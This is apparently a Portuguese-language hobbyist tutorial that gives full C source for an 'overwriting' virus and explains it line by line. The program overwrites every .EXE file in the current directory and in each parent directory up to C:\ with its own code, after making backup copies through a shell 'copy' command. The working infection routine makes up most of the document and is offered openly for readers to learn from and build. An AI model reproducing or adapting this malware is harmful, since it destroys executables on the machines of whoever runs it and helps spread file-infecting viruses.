Hi,
Geralmente, me conecto à Internet pela madrugada (internet discada =X). É neste intervalo que costumo escrever alguns artigos e brincar um pouco também. Sem nada melhor para fazer, estava procurando algo para que eu pudesse escrever. Após muito tempo, me veio à cabeça explicar um pouco sobre uma técnica que é utilizada por muitos programas maliciosos - OverWriting.
Esta técnica consiste em procurar por determinados arquivos - geralmente todos que tenham uma extensão específica - e substituir seu código pelo o do programa em ação.
Pelo o que eu já vi, a maioria desses programas é escrita em Assembly, no entanto, irei demonstrar um simples exemplo escrito na linguagem C.
O programa infecta todos os arquivos .EXE dentro do diretório onde é executado e em todos os seus anteriores, até que se chegue à unidade C:\.
Segue abaixo o código:
#include <io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define BuscarPrimeiro _findfirst
#define BuscarProximo _findnext
#define FecharBusca _findclose
typedef struct _finddata_t ProcuraArq;
ProcuraArq arquivo;
FILE * fp = NULL;
long handle;
unsigned long infectar_tam = 0;
char * buffer_infectar = NULL;
char dir_atual[0x100] = {0};
int parar = 0;
int main(int argn,char * arg[])
{
char * nome_proprio_exe = strrchr(arg[0],'\\')+1;
fp = fopen(arg[0],"rb");
if(!fp)
return 1;
infectar_tam = filelength(fp->_file);
buffer_infectar = (char*)malloc(infectar_tam+1);
fread(buffer_infectar,infectar_tam,1,fp);
fclose(fp);
while(parar == 0)
{
getcwd(dir_atual,0x100);
if(!strcmp(dir_atual,"C:\"))
parar = 1;
handle = BuscarPrimeiro("*.exe",&arquivo);
switch(handle)
{
case -1:
chdir("..");
continue;
break;
default:
do{
if(strcmp(nome_proprio_exe,arquivo.name) != 0)
{
char criar_copia[0x100];
snprintf(criar_copia,0x100,"copy %s copialol_%s",arquivo.name,arquivo.name);
system(criar_copia);
fp = fopen(arquivo.name,"wb");
fwrite(buffer_infectar,1,infectar_tam,fp);
fclose(fp);
}
}while(BuscarProximo(handle,&arquivo) == 0);
chdir("..");
FecharBusca(handle);
}}
free(buffer_infectar);
return 0;
}
Pronto. Agora iremos explicá-lo:
#include <io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
Talvez você já conheça os headers acima, mas vamos ver a finalidade de cada um:
Quoteio -> entrada e saída; iremos utilizar a função filelength() para nos retornar o tamanho em bytes de um arquivo e para realizarmos buscas de arquivos.
string -> entrada e saída padronizadas; manipulação de arquivos: fopen(), fclose(), fread() e fwrite();
string -> manipulação de strings; retornar o tamanho de uma string, escrever em uma string e comparar strings;
stdlib -> para utilizarmos alocação dinâmica de memória e a função system().
O trecho abaixo define "macros" que irá facilitar o entendimento:
#define BuscarPrimeiro _findfirst
#define BuscarProximo _findnext
#define FecharBusca _findclose
A macro "BuscarPrimeiro" equivale à função _findfirst;
A macro "BuscarProximo" equivale à função _findnext;
A macro "FecharBusca" equivale à função _findclose;
QuoteBuscarPrimeiro(argumentos...) = _findfirst(argumentos...);
BuscarProximo(argumentos...) = _findnext(argumentos...);
FecharBusca(argumentos...) = _findclose(argumentos...);
Mas afinal, que funções são estas?
As funções acima fazem parte do CRT - C Runtime Libraries - e são utilizadas para trabalharmos com buscas de arquivos.
A função
_findfirst é utilizada para encontrar a primeira ocorrência de um arquivo;
A função
_findnext é usada continuar uma pesquisa por arquivos;
Por fim, utiliza-se a função
_findclose quando queremos terminar uma busca.
Para podermos utilizar as funções acima, devemos ter uma variável que pertença à estrutura
_finddata_t. Novamente, para facilitar o entendimento, fazemos uma pequena associação:
typedef struct _finddata_t ProcuraArq;
Desta vez, criamos um "novo tipo" de variável -
ProcuraArq - que, na verdade, equivale à estrutura
_finddata_t.Veja a declaração:
struct _finddata_t nome;
Associando a variável
ProcuraArq a esta estrutura, poderíamos simplesmente fazer:
ProcuraArq nome;
No nosso código, temos:
ProcuraArq arquivo;
Vejamos as outras variáveis contidas no códido:
FILE * fp = NULL;
long handle;
unsigned long infectar_tam = 0;
char * buffer_infectar = NULL;
char dir_atual[0x100] = {0};
int parar = 0;
Quotefp -> ponteiro para o arquivo do executável;
handle -> variável de controle na busca dos arquivos;
infectar_tam -> tamanho do arquivo executável;
buffer_infectar -> buffer que irá armazenar o código executável;
dir_atual -> buffer que irá armazenar o diretório atual em que o programa está;
parar -> variável de controle que será usada para controlar se o programa continuará infectando ou não.
Observe a declaração da função principal:
int main(int argn,char * arg[])
O argumento
arg é um array de strings que armazena os argumentos com os quais o programa iniciou. O elemento referenciado por
arg[0] é sempre o caminho do próprio executável. Iremos utilizá-lo para ler o código deste arquivo do local onde este estiver.
char * nome_proprio_exe = strrchr(arg[0],'\\')+1;
Acima nós temos um ponteiro que armazena apenas o nome e a extensão do executável, já que
arg[0] retorna também o diretório onde este arquivo está. Iremos utilizar este ponteiro para certificar que o programa não tentará se auto-infectar (lolz).
O ponteiro armazena o endereço de memória que inicia um byte após a última ocorrência do caractere '\' na string, exemplo:
Quotec:\lol\arquivo.exe = arquivo.exe
fp = fopen(arg[0],"rb");
if(!fp)
return 1;
infectar_tam = filelength(fp->_file);
O trecho acima é responsável por obter o tamanho do executável do programa. Primeiramente abre-se o arquivo para leitura, verifica por êxito e, em seguida, atribui-se à variável infectar_tam o tamanho em bytes do arquivo retornado pela função
filelength().
Abaixo, armazenamos em
buffer_infectar o código do executável:
buffer_infectar = (char*)malloc(infectar_tam+1); // Aloca o tamanho necessário - tamanho do arquivo
fread(buffer_infectar,infectar_tam,1,fp); // Lê-se o arquivo
fclose(fp); // Fecha-o
O trecho abaixo é o responsável pela infecção:
while(parar == 0)
{
getcwd(dir_atual,0x100);
if(!strcmp(dir_atual,"C:\"))
parar = 1;
handle = BuscarPrimeiro("*.exe",&arquivo);
switch(handle)
{
case -1:
chdir("..");
continue;
break;
default:
do{
if(strcmp(nome_proprio_exe,arquivo.name) != 0)
{
char criar_copia[0x100];
snprintf(criar_copia,0x100,"copy %s copialol_%s",arquivo.name,arquivo.name);
system(criar_copia);
fp = fopen(arquivo.name,"wb");
fwrite(buffer_infectar,1,infectar_tam,fp);
fclose(fp);
}
}while(BuscarProximo(handle,&arquivo) == 0);
chdir("..");
FecharBusca(handle);
}}
Vamos desmembrá-lo:
while(parar == 0)
Como havia dito, a variável
parar é responsável por controlar se o programa irá infectar ou não os arquivos.
Na condição, se o valor for 0, o programa continua a infectar, quando o diretório atual for "C:" o valor da variável será alterado para 1, quando, na próxima interação do loop, a condição será FALSA (
parar não será igual 0) fazendo com que este loop encerre.
O trecho abaixo é responsável por obter o diretório atual e verificar se este é C:\.
getcwd(dir_atual,0x100); // Obtém diretório
if(!strcmp(dir_atual,"C:\")) // Verifica se é C:\
parar = 1; // Se sim, parar = 1
handle = BuscarPrimeiro("*.exe",&arquivo);
Acima, nós tentamos obter a primeira ocorrência de qualquer arquivo que contenha a extensão
EXE.
Note que utilizamos a macro
BuscarPrimeiro e que, ao invés desta, poderíamos fazer:
handle = _findfirst("*.exe",&arquivo);
A sintaxe seria:
Quotelong _findfirst(char * procurar_por,struct _finddata_t* ponteiro_finddata);
procurar_por:
nome do arquivo a ser procurado. Pode-se utilizar caracteres curingas, como * por exemplo.
ponteiro_finddara:
ponteiro para uma estrutura do tipo _finddata_.
A função retorna -1 caso nenhuma ocorrência seja encontrada, ou retorna um valor diferente quando há ocorrência - é utilizado para controlar o processo de busca, através das funções _findnext e _findclose.
Analise o bloco abaixo:
switch(handle) // Verifica pelo valor de retorno da função _findfirst (BuscarPrimeiro)
{
case -1: // Se -1 = não foram encontradas ocorrências
chdir(".."); // Pula para o diretório anterior
continue; // Continua o loop while
break;
default: // Se o valor for diferente de -1
do{
// Verifica se o nome do arquivo encontrado é diferente do nome do próprio executável
if(strcmp(nome_proprio_exe,arquivo.name) != 0)
{
char criar_copia[0x100]; // buffer utilizar para formatar o comando COPY do DOS
/*
Escreve no buffer:
copy nome_do_arquivo copialol_nomedoarquivo
*/
snprintf(criar_copia,0x100,"copy %s copialol_%s",arquivo.name,arquivo.name);
system(criar_copia); // Executa o comando escrito no buffer -> copiar o arquivo
fp = fopen(arquivo.name,"wb"); // Abre o arquivo para escrita -> sobrescrever
fwrite(buffer_infectar,1,infectar_tam,fp); // Escreve o código do executável lido
fclose(fp); // Fecha o arquivo
}
}
// Continua executando as instruções acima enquanto houverem novas ocorrências na busca
while(BuscarProximo(handle,&arquivo) == 0);
Vamos ver a sintaxe da função _findnext (BuscarProximo):
Quotelong _findnext(long handle,struct _finddata_t* ponteiro_finddata);
handle:
valor retornado pela função _findfirst - handle do processo de busca.
ponteiro_finddara:
ponteiro para uma estrutura do tipo _finddata_.
A função retorna -1 caso nenhuma ocorrência seja encontrada, ou retorna 0 quando há ocorrência.
Quando todos os arquivos do diretório atual são encontrados (ou não), pula-se para o diretório anterior e fecha-se o handle de busca:
chdir(".."); // Pula para um diretório antes
FecharBusca(handle); // Fecha handle
Após a infecção, o programa libera a memória alocada em
buffer_infectar antes de encerrar:
free(buffer_infectar);
Na API do Windows, temos as funções
FindFirstFile,
FindNextFile e
FindClose, que, eventualmente, poderiam substituir as funções
_findfirst,
_findnext e
_findclose, respectivamente. Contudo, o uso dessas funções é um pouco mais complicado, por esta razão optei por utilizar estas últimas ;)
Bye.